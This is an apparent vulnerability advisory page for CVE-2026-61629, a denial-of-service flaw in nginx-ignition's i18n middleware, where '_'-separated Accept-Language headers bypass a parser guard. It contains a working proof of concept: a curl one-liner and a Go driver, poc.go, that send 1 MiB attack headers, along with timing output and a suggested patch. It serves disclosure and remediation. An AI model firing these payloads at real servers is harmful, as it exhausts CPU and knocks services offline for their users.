Skip to content
CVE IDCVE-2026-61629GitHub advisory IDGHSA-jr34-h97m-9hpx

nginx ignition has ParseAcceptLanguage `_` separator bypass that enables ~75x CPU amplification via Accept-Language header in i18nMiddleware

CVE-2026-61629 (GitHub advisory GHSA-jr34-h97m-9hpx) is a high-severity vulnerability with a CVSS 3.1 base score of 7.5, classed as Allocation of Resources Without Limits or Throttling (CWE-770), in github.com/lucasdillmann/nginx-ignition (Go). Affected versions: >= 0.0.0-20260126024607-cbaf0fc16ed8, < 0.0.0-20260526022344-0c988fc1277c. It is fixed in 0.0.0-20260526022344-0c988fc1277c.

High7.5Fix availableGitHub reviewed

Published 21 Sept 2026Updated 21 Sept 2026

7.5HighCVSS 3.1
EPSS
Not scored
Weakness (CWE)
  • CWE-770Allocation of Resources Without Limits or Throttling
KEV status
Not in KEV
Published
21 Sept 2026
Updated
21 Sept 2026
Ecosystem
  • Go
Assigned by (CNA)
GitHub_M

Summary

Source: OSV (GitHub advisory)

The gin i18n middleware in nginx-ignition's API server runs in front of every HTTP request and calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators burns about 2.4 seconds of server CPU on the host running nginx-ignition; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.

Affected versions

dillmann.com.br/nginx-ignition v2.40.0 and (per code inspection of main) earlier 2.x versions whose api/common/server/i18n.go middleware routes the Accept-Language header through language.ParseAcceptLanguage without imposing its own size or character filter. Verified on:

  • the official dillmann/nginx-ignition:latest Docker image at v2.40.0 (E2E below)
  • main at commit faef4c99442b329cfa4ee8879bdba41c22866a18 by reading api/common/server/i18n.go (the middleware is unchanged)

Privilege required

Unauthenticated. The middleware is registered on the global gin router that serves both the login page and the unauthenticated /api/health style endpoints. Anyone who can reach the HTTP listener (port 8090 by default) is in scope.

Vulnerable code

api/common/server/i18n.go (blob SHA faef4c99442b329cfa4ee8879bdba41c22866a18):

func i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {
    return func(ginCtx *gin.Context) {
        lang := commands.DefaultLanguage()

        langHeader := ginCtx.GetHeader("Accept-Language")
        tags, _, err := language.ParseAcceptLanguage(langHeader)
        if err == nil && len(tags) > 0 {
            for _, tag := range tags {
                if commands.Supports(tag) {
                    lang = tag
                    break
                }
            }
        }

        //nolint:staticcheck
        updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)
        ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)
        ginCtx.Set(i18n.ContextKey, lang)
        ginCtx.Next()
    }
}

ginCtx.GetHeader("Accept-Language") is the unfiltered HTTP header. Go's default net/http MaxHeaderBytes is 1 << 20 = 1 MiB and nginx-ignition does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.

CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 1 MiB header full of 9-character _abcdefghi tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path.

How Accept-Language reaches ParseAcceptLanguage

Every HTTP request that hits the nginx-ignition API server passes through i18nMiddleware (registered as a global gin middleware). The middleware sequence is:

  1. The request enters i18nMiddleware.
  2. ginCtx.GetHeader("Accept-Language") returns the full attacker-supplied header value.
  3. language.ParseAcceptLanguage(langHeader) runs unfiltered.

No size or character-class filter is applied between (2) and (3). The middleware runs for every gin handler, including unauthenticated paths like the root URL and /api/health (which returns 404 but still completes the middleware chain).

Proof of concept

Single-line bash reproducer that crafts the malicious header and times one request against a fresh dillmann/nginx-ignition:latest container:

docker run -d --name ngi --rm -p 18090:8090 dillmann/nginx-ignition:latest
sleep 5

PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \
  -w 'http=%{http_code} t=%{time_total}\n' \
  -H "Accept-Language: ${PAYLOAD}" \
  http://127.0.0.1:18090/api/health

Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).

End-to-end reproduction (against dillmann/nginx-ignition:latest at v2.40.0)

A Go driver poc.go boots the container, sends a 1 MiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):

// poc.go
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"
)

const targetURL = "http://127.0.0.1:18090/api/health"

func buildPayload(sep string, targetBytes int) string {
    const tok = "abcdefghi"
    var b strings.Builder
    b.Grow(targetBytes + 16)
    b.WriteString("en")
    for b.Len()+1+len(tok) <= targetBytes {
        b.WriteString(sep)
        b.WriteString(tok)
    }
    return b.String()
}

func send(label, header string) {
    client := &http.Client{
        Timeout: 60 * time.Second,
        Transport: &http.Transport{
            DisableKeepAlives: true,
            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
        },
    }
    req, _ := http.NewRequest("GET", targetURL, nil)
    if header != "" {
        req.Header.Set("Accept-Language", header)
    }
    t0 := time.Now()
    resp, err := client.Do(req)
    dt := time.Since(t0)
    if err != nil {
        fmt.Printf("  %-32s ERR after %v: %v\n", label, dt, err)
        return
    }
    _, _ = io.Copy(io.Discard, resp.Body)
    resp.Body.Close()
    fmt.Printf("  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\n",
        label, len(header),
        strings.Count(header, "_"), strings.Count(header, "-"),
        resp.StatusCode, dt)
}

func main() {
    send("warm-up", "")
    send("baseline (no header)", "")
    send("baseline (1 short tag)", "en-US")
    send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
    send("attack ('_' x 1MiB)",     buildPayload("_", 1<<20))
    send("attack repeat 2",          buildPayload("_", 1<<20))
    send("attack repeat 3",          buildPayload("_", 1<<20))
}

Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official dillmann/nginx-ignition:latest image at v2.40.0):

E2E: golang/x/text ParseAcceptLanguage '_' bypass through
lucasdillmann/nginx-ignition 2.40.0 i18nMiddleware at
api/common/server/i18n.go.

Target: http://127.0.0.1:18090/api/health   payload=1048576 B

  warm-up                                      header=0 B  '_'=0  '-'=0  status=404  t=10.336041ms

--- measurements (single request each) ---
  baseline (no header)                         header=0 B  '_'=0  '-'=0  status=404  t=4.211583ms
  baseline (1 short tag)                       header=5 B  '_'=0  '-'=1  status=404  t=3.276416ms
  guard-fires control ('-' x payload)          header=1048572 B  '_'=0  '-'=104857  status=404  t=31.683792ms
  attack ('_' x payload)                       header=1048572 B  '_'=104857  '-'=0  status=404  t=2.429408875s
  attack repeat 2                              header=1048572 B  '_'=104857  '-'=0  status=404  t=3.589948166s
  attack repeat 3                              header=1048572 B  '_'=104857  '-'=0  status=404  t=2.415860875s

Interpretation:

RequestHeader bytesServer time
no header / short tag0 - 53 - 11 ms
1 MiB - separators (CVE-2022-32149 guard fires)1 MiB32 ms
1 MiB _ separators (guard bypassed)1 MiB2.4 - 3.6 s

The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB - payload returns in 32 ms because the parser short-circuits with ErrTagListTooLarge. The _ attack returns 404 (the same as the baseline) from the same endpoint but consumes ~2.4-3.6 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~75-110x (32 ms guard-fires vs 2.4-3.6 s attack on the same 1 MiB header).

Impact

  • One unauthenticated client can pin one CPU core for ~2.4 seconds per 1 MiB request to any URL (the middleware runs even on 404 paths).
  • Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core nginx-ignition instance indefinitely.
  • The 4xx/5xx status of the eventual response does not matter — the middleware runs before route resolution, so the CPU cost is paid whether the URL exists or not.
  • Self-hosted nginx-ignition instances exposed to the public internet (a documented deployment pattern in the project's README) are exposed.

Suggested fix

Apply the size / character-class filter inside the middleware before reaching language.ParseAcceptLanguage. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and short-circuit when the total exceeds a small ceiling:

// api/common/server/i18n.go
const maxAcceptLanguageSeparators = 32 // real browsers send < 10

func i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {
    return func(ginCtx *gin.Context) {
        lang := commands.DefaultLanguage()

        langHeader := ginCtx.GetHeader("Accept-Language")
        if strings.Count(langHeader, "-")+strings.Count(langHeader, "_") > maxAcceptLanguageSeparators {
            // Refuse to call into the BCP 47 parser with absurd input.
            langHeader = ""
        }
        tags, _, err := language.ParseAcceptLanguage(langHeader)
        if err == nil && len(tags) > 0 {
            for _, tag := range tags {
                if commands.Supports(tag) {
                    lang = tag
                    break
                }
            }
        }

        //nolint:staticcheck
        updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)
        ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)
        ginCtx.Set(i18n.ContextKey, lang)
        ginCtx.Next()
    }
}

A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.

The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.

Credit

Reported by tonghuaroot.

Technical details

Source: GitHub Advisory Database

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

High7.5Base score from GitHub Advisory Database

Attack Vector AV
Network
Attack Complexity AC
Low
Privileges Required PR
None
User Interaction UI
None
Scope S
Unchanged
Confidentiality C
None
Integrity I
None
Availability A
High

Affected packages

Source: OSV (GitHub advisory)

  • github.com/lucasdillmann/nginx-ignition
    Go
    pkg:golang/github.com/lucasdillmann/nginx-ignition
    Affected versions
    >= 0.0.0-20260126024607-cbaf0fc16ed8, < 0.0.0-20260526022344-0c988fc1277c
    Fixed in
    0.0.0-20260526022344-0c988fc1277c

Fix

Source: OSV (GitHub advisory)

Fix available

Upgrade to 0.0.0-20260526022344-0c988fc1277c or later.

Patch commits

  • 0c988fcPatch commitgithub.com/lucasdillmann/nginx-ignition

    Security fixes (#125)

    +12 −0 across 2 files

    • CHANGELOG.md+5 −0
    • api/common/server/i18n.go+7 −0
  • cbaf0fcPatch commitgithub.com/lucasdillmann/nginx-ignition

    Internationalization (i18n) (#81)

    +20421 −4030 across 30 files

    • .github/workflows/release.yml+1 −1
    • .github/workflows/snapshot.yml+3 −3
    • .gitignore+5 −2
    • Makefile+10 −7
    • api/accesslist/create_handler.go+1 −1
    • api/accesslist/update_handler.go+1 −1
    • api/cache/create_handler.go+1 −1
    • api/cache/update_handler.go+1 −1
    • and 22 more files
  • #125Pull requestgithub.com/lucasdillmann/nginx-ignition

Vulnerability intelligence

References

Credits

Questions about CVE-2026-61629

What is the GHSA ID for CVE-2026-61629?
GitHub tracks CVE-2026-61629 as GHSA-jr34-h97m-9hpx.
What is the CVSS score of CVE-2026-61629?
CVE-2026-61629 has a CVSS 3.1 base score of 7.5 (High), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
Which versions are affected by CVE-2026-61629?
github.com/lucasdillmann/nginx-ignition (Go): >= 0.0.0-20260126024607-cbaf0fc16ed8, < 0.0.0-20260526022344-0c988fc1277c.
How do I fix CVE-2026-61629?
Upgrade to 0.0.0-20260526022344-0c988fc1277c or later. The fix is in commits 0c988fc and cbaf0fc and pull request #125.
What is the Package URL (PURL) for CVE-2026-61629?
The affected package's PURL is pkg:golang/github.com/lucasdillmann/nginx-ignition.
Is CVE-2026-61629 exploited in the wild?
CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-61629. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched.

Data sources

Upstream records

  • OSV (GitHub advisory)LoadedRaw JSON
  • GitHub Advisory DatabaseLoadedRaw JSON
  • OSV (CVE record)LoadedRaw JSON
  • CVE.orgLoaded
  • CISA KEV catalogLoaded
  • FIRST EPSSUnavailable

Fetched 1 day ago (14 Oct 2026, 17:50 UTC). Records refresh automatically after 24 hours.

Where each part of this page came from

Title and description
OSV (GitHub advisory)
Severity score
GitHub Advisory Database
Weakness (CWE)
GitHub Advisory Database
Affected packages
OSV (GitHub advisory)
Fix
OSV (GitHub advisory)
References
Computed by CVEminer
KEV status
CISA KEV catalog

OSV and GitHub Advisory Database content is licensed CC BY 4.0. Values marked as computed or derived were calculated by CVEminer from the upstream data.